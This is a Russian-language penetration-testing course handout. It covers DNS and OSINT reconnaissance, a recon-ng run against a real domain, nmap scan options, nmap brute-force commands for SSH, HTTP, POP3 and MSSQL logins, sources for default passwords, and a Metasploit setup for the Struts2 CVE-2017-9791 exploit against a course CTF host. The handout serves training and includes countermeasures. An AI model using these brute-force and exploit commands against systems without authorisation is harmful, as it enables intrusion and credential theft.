---
# System prepended metadata

title: 'Regular:'

---

ntensive-CSR-2
Тестирование на проникновение внешней и внутренней IT-инфраструктуры

    Какие цели ставит пентестер?
    Чем отличается работа по взлому корпоративной инфраструктуры от работ по анализу защищенности веб-приложений? Инструменты? Подход?

Проводимые атаки

Новые этапы:

    Исследование скоупа. Скоуп?
    Сканирование сети и сервисов
    Применение эксплойтов
    Атаки на инфраструктуру Windows
    Атаки Man in The Middle (MiTM)

Анализ скоупа внешней инфраструктуры

Входные данные

    Имя компании;
    Доменное имя;
    IP адрес(а);

Цели

    Получить доменные имена второго и третьего уровней принадлежащие компании
    Получить IP адреса принадлежщие компании
    Получить адреса веб-приложений компании
    Собрать информацию об имеющихся публичных сервисах компании

Процесс сбора информации

Утилиты:

    host
    nslookup
    dig
    whois

Информация из DNS:
Record Type 	Description
A 	Points to a host’s IP address
MX 	Points to domain’s mail server
NS 	Points to host’s name server
CNAME 	Canonical naming allows aliases to a host
SOA 	Indicate authority for a domain
SRV 	Service records
PTR 	Maps IP address to a hostname
RP 	Responsible person
HINFO 	Host information record includes CPU type and OS
TXT 	Unstructured text records

Онлайн-сервисы:

    https://www.shodan.io/host/
    https://censys.io/
    https://community.riskiq.com/
    https://crt.sh
    https://pentest-tools.com/home
    http://google.com, bing.com,yandex.ru (inurl, site, filetype, cache, etc…)

Инструменты:

    DNSrecon

root@hackeru:~> dnsrecon -r 162.241.216.0-162.241.216.255 # Брут обратных записей по адресному пространству

    Amass

root@hackeru:~> amass enum -brute -active -d example.com -ip -src -json example.com.out.json

    Recon-ng

root@hackeru:~> recon-ng 
                                                                                         
    _/_/_/    _/_/_/_/    _/_/_/    _/_/_/    _/      _/            _/      _/    _/_/_/
   _/    _/  _/        _/        _/      _/  _/_/    _/            _/_/    _/  _/       
  _/_/_/    _/_/_/    _/        _/      _/  _/  _/  _/  _/_/_/_/  _/  _/  _/  _/  _/_/_/
 _/    _/  _/        _/        _/      _/  _/    _/_/            _/    _/_/  _/      _/ 
_/    _/  _/_/_/_/    _/_/_/    _/_/_/    _/      _/            _/      _/    _/_/_/   
                                                                                         
     +---------------------------------------------------------------------------+      
     |  _                     ___    _                        __                 |      
     | |_)| _  _|_  |_|.|| _   |  _ |_ _  _ _  _ _|_o _  _   (_  _  _    _o_|_   |      
     | |_)|(_|(_|\  | ||||_\  _|_| || (_)| |||(_| | |(_)| |  __)(/_(_|_|| | | \/ |      
     |                                                                        /  |      
     |              Consulting | Research | Development | Training               |      
     |                     http://www.blackhillsinfosec.com                      |      
     +---------------------------------------------------------------------------+      
 
                      [recon-ng v4.6.3, Tim Tomes (@LaNMaSteR53)]                       
 
[71] Recon modules
[7]  Reporting modules
[2]  Import modules
[2]  Exploitation modules
[2]  Discovery modules
 
[recon-ng][default] > use discovery/info_disclosure/interesting_files
[recon-ng][default][interesting_files] > set SOURCE mi-al.ru
SOURCE => mi-al.ru
[recon-ng][default][interesting_files] > run
[*] http://mi-al.ru:80/robots.txt => 200. 'robots.txt' found!
[*] http://mi-al.ru:80/sitemap.xml => 301
[*] http://mi-al.ru:80/sitemap.xml.gz => 301
[*] http://mi-al.ru:80/crossdomain.xml => 301
[*] http://mi-al.ru:80/phpinfo.php => 301
[*] http://mi-al.ru:80/test.php => 301
[*] http://mi-al.ru:80/elmah.axd => 301
[*] http://mi-al.ru:80/server-status => 301
[*] http://mi-al.ru:80/jmx-console/ => 404
[*] http://mi-al.ru:80/admin-console/ => 404
[*] http://mi-al.ru:80/web-console/ => 404
[*] 1 interesting files found.
[*] ...downloaded to '/root/.recon-ng/workspaces/default/'
[recon-ng][default][interesting_files] > 

    OSRFramework

usufy.py - Проверка профиля пользователя на 290 различных платформах 
mailfy.py - Проверка существования заданной электронной почты 
searchfy.py - Выполнение запроса на платформах в OSRFramework 
domainfy.py - Проверка существования доменов 
phonefy.py - Проверка существования заданной серии телефонов 
entify.py - Использование регулярных выражений для извлечения объектов

Контрмеры

    Разработать и внедрить политики безопасности для регулирования информации, которую сотрудники могут раскрывать третьим лицам.
    Разделите внутреннюю и внешнюю DNS или используйте раздельную DNS, и ограничьте передачу зоны на авторизованные серверы
    Отключить индексацию каталогов на веб-серверах
    Проводить периодические тренинги по повышению осведомленности в области безопасности для обучения сотрудников различным угрозам социальной инженерии и рискам.
    Подключить услуги по обеспечению конфиденциальности в базе данных Whois Lookup.
    Избегайте перекрестных ссылок на домены критически важных активов.
    Применяйтк шифрование и защиту паролем конфиденциальной информации
    Разместить важнейшие документы, такие как бизнес-планы и проприетарные документы, в автономном режиме для предотвращения кражи
    Обучение сотрудников методам социальной инженерии и борьбе с атаками.
    Санитизация данных, предоставляемых интернет-регистраторам, чтобы скрыть прямые контактные данные организации.
    Отключите функцию геотегов на камерах для предотвращения геолокационного слежения
    Убедитесь, что на досках объявлений или стенах не отображается критическая информация.
    Использовать методы “киберразведки” для обнаружения и удаления любой конфиденциальной информации, находящейся в открытом доступе.

Исследование сервисов

Nmap

Docs: https://nmap.org/man/ru/

Пример использования:

nmap -sT -sV -Pn -p1-1024 --open -v ctf.hackeru.pro

Пример использования (Advanced):

nmap -sS -sC -sV --version-all -T5 -Pn -n -p- --open -v -oA 1.1.1.1 8.8.8.8-16

Основные типы сканирования:

    TCP Connect/Full Open Scan (-sT)
    Half-open Scan (-sS)
    UDP Scanning (-sU)

Все типы:

TCP Scanning:

    Open TCP Scanning Methods:
        TCP Connect/Full Open Scan

Stealth TCP Scanning Methods:

    Half-open Scan
    Inverse TCP Flag Scan:
        Xmas Scan
        FIN Scan
        NULL Scan
        Maimon Scan
    ACK Flag Probe Scan:
        TTL-Based Scan
        Window Scan

Third Party and Spoofed TCP Scanning Methods:

    IDLE/IP ID Header Scan

UDP Scanning:

    UDP Scanning

SCTP Scanning:

    SCTP INIT Scanning
    SCTP COOKIE/ECHO Scanning

SSDP Scanning:

    SSDP and List Scanning

IPv6 Scanning:

    IPv6 Scanning

Полезные ключи:

-A          - агрессивное сканирование
-sV         - определение версий ПО на TCP/UDP портах
-sC         - запуск скриптов
-O          - определение версий ОС
--version-all (--version-intensity) - Устанавливает интенсивность работы функции (1-9, по умолчанию 7)
-T0-5       - Временные задержки между запросами (Скорость сканирования) (Шаблоны для временных опций)
-Pn         - Не использовать пинг сканирование
-sP         - Пинг сканирование
-PS         - TCP SYN пингование (Поиск хостов по запросу к TCP)
-n          - Не производить обратное разрешение DNS имен
-r          - Производить разрешение DNS имен для всех целей
-p1-65535   - указание диапазона портов для сканирования
--open      - отобразить в отчете только открытые порты
-v/-vvv     - уровень подробности отчета в ходе сканирования
-oA/-oN/-oX - создание файла отчета (всех типов/только стандартного формата/XML формат)
--script    - запус отдельного скрипта NSE

Nmap подсказки:

# Regular:
sudo nmap -R -Pn -sC -sV --version-all -T5 -p- --open -v  -oN %y%m%d-target-name <target>

# Fast Full Host Discovery:
nmap --min-rate=400 --min-parallelism=512 -p22,445,3389,80,443 -Pn -R -PS -oA full <target>

# Check HTTP Methods
nmap --script=http-methods <target> -n -p 80

# HTTP Base Auth Brute:
nmap --script http-brute -p 80 --script-args="[http-brute.hostname=<target>],http-brute.method=GET,http-brute.path=[/path],brute.firstonly=true,userdb=[Users.txt],passdb=[Passwords.txt]" -v --system-dns <target>

# HTTP Auth Form Brute:
sudo nmap --script http-form-brute -p 80 --script-args="[brute.firstonly=true],http-form-brute.path=[/path],http-form-brute.onfailure='Error message.',http-form-brute.passvar=[password],http-form-brute.uservar=[username],http-form-brute.method=POST,[brute.emptypass=true]" <target>

# POP3 Brute:
nmap -sV --script=pop3-brute  --script-args='passdb=[file_with_pass],userdb=[file_with_names],brute.emptypass[,brute.firstonly][,brute.threads]' <target>

# SMB Checks:
nmap -p 139,445 --script smb-os-discovery,smb-enum-shares,smb-system-info <target> #smb-vuln-ms17-010

# SSH Brute:
nmap -p 22 --script ssh-brute --script-args user=root,passdb=pass.lst --script-args ssh-brute.timeout=4s <target>

# LDAP Search:
nmap –script ldap-search –T4 –o nmap.ldap_search <target>

# MSSQL Login:
nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <target>

# SNMP Scan:
nmap -P0 -v -sU -p 161 -oA snmp_scan <target>

Проведение атак
Подбор паролей

    Атаки “перебора по словарю” и “методом полного перебора”

    Словари:
        https://weakpass.com/
        https://github.com/danielmiessler/SecLists/tree/master/Passwords

    Инструменты:
        Patator
        thc-Hydra
        Burp Suite Intruder

    Поиск паролей по умолчанию:
        https://www.fortypoundhead.com/tools_dpw.asp
        https://cirt.net/passwords
        http://www.defaultpassword.us
        https://default-password.info
        http://open-sez.me

Эксплуатация уязвимостей

Краткая памятка:

    То, что может сделать с информацией атакующий, называется угрозой (threat);
    То, благодаря чему он может это сделать, называется уязвимостью (vulnerability), обусловленной недостатком (weakness)
    То, как он может это сделать, называется атакой (attack)
    То, с какой вероятностью у него это удастся и какие последствия может повлечь, называется риском (risk)
    То, что не позволяет атакующему провести атаку, обеспечивает защищенность (security)
    То, что минимизирует риск, обеспечивает безопасность (safety)

Уязвимости

CVE - https://cve.mitre.org/

CWE - https://cwe.mitre.org/
Эксплуатация

Exploit - компьютерная программа, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему.

Metasploit Framework - удобная платформа для создания и отладки эксплойтов.

Payload - “полезная нагрузка”, которая выполнится после эксплуатации уязвимости

Meterpreter - является продвинутой, динамически расширяемой полезной нагрузкой, которая использует in-memory DLL-injection стейджеры

Цель: http://ctf.hackeru.pro:21337/showcase.action
Где можно искать эксплоиты

    SecurityFocus
    ExploitDB
    VulDB
    MITRE CVE

Настройка эксплоита struts2_code_exec_showcase

Команды настройки msfconsole для (CVE-2017-9791)(Команды bash):

msfconsole
search struts showcase
use exploit/multi/http/struts2_code_exec_showcase
info
options
set RHOSTS ctf.hackeru.pro
set RPORT 21337
set TARGETURI /integration/saveGangster.action
set PAYLOAD cmd/unix/generic
set CMD 'cat /flag'
check
exploit

Поднять стенд в докере:

root@hackeru:~> docker run -it --rm -p 21337:8080 --volume $(pwd)/flag:/flag --name struts piesecurity/apache-struts2-cve-2017-5638 

Дополнительно

Методики проведения тестирования на проникновение:

    Penetration Testing Execution Standard (PTES);
    NIST Special Publications 800-115 Technical Guide to Information Security Testing and Assessment;
    Open Source Security Testing Methodology Manual (OSSTMM);
    Information Systems Security Assessment Framework (ISSAF);
    Web Application Security Consortium (WASC) Threat Classification;
    Open Web Application Security Project (OWASP) Testing Guide;
    Payment Card Industry Data Security Standard (PCI DSS);
    Стандарты Center for Internet Security (CIS);
    Common Vulnerability Scoring System (CVSS).

Телеграм каналы связанные с темой ИБ:

    https://t.me/YAH_Channel/191
    https://t.me/ExcreamOnSecurity

RoadMap: https://t.me/YAH_Channel/378